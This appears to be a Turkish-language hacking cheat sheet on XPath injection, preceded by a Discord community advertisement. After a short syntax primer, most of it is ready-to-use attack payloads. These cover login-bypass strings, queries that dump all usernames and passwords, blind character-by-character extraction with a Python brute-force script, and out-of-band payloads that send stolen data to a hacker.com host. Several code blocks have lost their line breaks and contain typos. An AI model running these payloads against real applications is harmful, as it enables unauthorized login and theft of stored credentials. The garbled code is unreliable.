Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için HackenProof Discord sunucusuna katılın!
Hacking İçgörüleri
Hacking'in heyecanı ve zorluklarına dalan içeriklerle etkileşimde bulunun
Gerçek Zamanlı Hack Haberleri
Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında güncel kalın
Son Duyurular
Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun
Bugün Discord üzerinden bize katılın ve en iyi hackerlarla işbirliği yapmaya başlayın!
Temel Söz Dizimi
XPath Injection olarak bilinen bir saldırı tekniği, kullanıcı girdisine dayalı olarak XPath (XML Path Language) sorguları oluşturan uygulamalardan yararlanmak için kullanılır.
Tanımlanan Düğümler
İfadeler, bir XML belgesindeki çeşitli düğümleri seçmek için kullanılır. Bu ifadeler ve açıklamaları aşağıda özetlenmiştir:
nodename: "nodename" adındaki tüm düğümler seçilir.
/: Seçim kök düğümden yapılır.
//: Belgedeki konumlarından bağımsız olarak, mevcut düğümden seçimle eşleşen düğümler seçilir.
.: Mevcut düğüm seçilir.
..: Mevcut düğümün üst düğümü seçilir.
@: Nitelikler seçilir.
XPath Örnekleri
Yol ifadeleri ve sonuçlarına dair örnekler şunlardır:
bookstore: "bookstore" adındaki tüm düğümler seçilir.
/bookstore: Kök elemanı bookstore seçilir. Bir elemanın mutlak yolunun bir eğik çizgi (/) ile başlayan bir yol ile temsil edildiği not edilmiştir.
bookstore/book: bookstore'un çocukları olan tüm book elemanları seçilir.
//book: Belgedeki tüm book elemanları, konumlarından bağımsız olarak seçilir.
bookstore//book: bookstore elemanının altındaki tüm book elemanları, bookstore elemanının altındaki konumlarından bağımsız olarak seçilir.
//@lang: lang adındaki tüm nitelikler seçilir.
Koşulların Kullanımı
Seçimleri daraltmak için koşullar kullanılır:
/bookstore/book[1]: bookstore elemanının ilk book elemanı çocuğu seçilir. IE 5'ten 9'a kadar olan sürümler için ilk düğümü [0] olarak indeksleyen bir çözüm, JavaScript aracılığıyla SelectionLanguage'ı XPath olarak ayarlamaktır.
/bookstore/book[last()]: bookstore elemanının son book elemanı çocuğu seçilir.
/bookstore/book[last()-1]: bookstore elemanının sondan bir önceki book elemanı çocuğu seçilir.
/bookstore/book[position()<3]: bookstore elemanının ilk iki book elemanı çocuğu seçilir.
//title[@lang]: lang niteliğine sahip tüm title elemanları seçilir.
//title[@lang='en']: "lang" niteliği değeri "en" olan tüm title elemanları seçilir.
/bookstore/book[price>35.00]: Fiyatı 35.00'dan büyük olan bookstore'daki tüm book elemanları seçilir.
/bookstore/book[price>35.00]/title: Fiyatı 35.00'dan büyük olan bookstore'daki book elemanlarının tüm title elemanları seçilir.
Bilinmeyen Düğümlerin İşlenmesi
Bilinmeyen düğümleri eşleştirmek için joker karakterler kullanılır:
*: Herhangi bir eleman düğümünü eşleştirir.
@*: Herhangi bir nitelik düğümünü eşleştirir.
node(): Herhangi bir türdeki düğümü eşleştirir.
Diğer örnekler şunlardır:
/bookstore/*: bookstore elemanının tüm çocuk eleman düğümlerini seçer.
//*: Belgedeki tüm elemanları seçer.
//title[@*]: En az bir niteliği olan tüm title elemanlarını seçer.
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
Şemayı Tanımlama ve Çalma
andcount(/*)=1#rootandcount(/*[1]/*)=2#count(root) = 2 (a,c)andcount(/*[1]/*[1]/*)=1#count(a) = 1 (b)andcount(/*[1]/*[1]/*[1]/*)=0#count(b) = 0andcount(/*[1]/*[2]/*)=3#count(c) = 3 (d,e,f)andcount(/*[1]/*[2]/*[1]/*)=0#count(d) = 0andcount(/*[1]/*[2]/*[2]/*)=0#count(e) = 0andcount(/*[1]/*[2]/*[3]/*)=1#count(f) = 1 (g)andcount(/*[1]/*[2]/*[3]/[1]*)=0#count(g) = 0#The previous solutions are the representation of a schema like the following#(at this stage we don't know the name of the tags, but jus the schema)<root><a><b></b></a><c><d></d><e></e><f><h></h></f></c></root>andname(/*[1])="root"#Confirm the name of the first tag is "root"andsubstring(name(/*[1]/*[1]),1,1)="a"#First char of name of tag `<a>` is "a"and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOBdoc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
Kimlik Doğrulama Atlatma
Sorguların Örneği:
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
Kullanıcı ve şifrede OR atlatma (her ikisinde de aynı değer)
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
Null enjeksiyonunu kötüye kullanma
Username: ' or 1]%00
Kullanıcı Adında veya Şifrede Çift OR (sadece 1 savunmasız alan ile geçerlidir)
ÖNEMLİ: "ve" ilk yapılan işlemdir.
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
Dize çıkarımı
Çıktı, dizeler içerir ve kullanıcı değerleri aramak için manipüle edebilir:
/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
Blind Explotation
Bir değerin uzunluğunu al ve karşılaştırmalarla çıkar:
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''='#True if length equals 4' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''='#True is first equals "a"substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
Python Örneği
import requests, stringflag =""l =0alphabet = string.ascii_letters + string.digits +"{}_()"for i inrange(30):r = requests.get("http://example.com?action=user&userid=2 and string-length(password)="+str(i))if ("TRUE_COND"in r.text):l = ibreakprint("[+] Password length: "+str(l))for i inrange(1, l +1):#print("[i] Looking for char number " + str(i))for al in alphabet:r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)if ("TRUE_COND"in r.text):flag += alprint("[+] Flag: "+ flag)break
doc(concat("http://hacker.com/oob/", RESULTS))doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))#Instead of doc() you can use the function doc-availabledoc-available(concat("http://hacker.com/oob/", RESULTS))#the doc available will respond true or false depending if the doc exists,#user not(doc-available(...)) to invert the result if you need to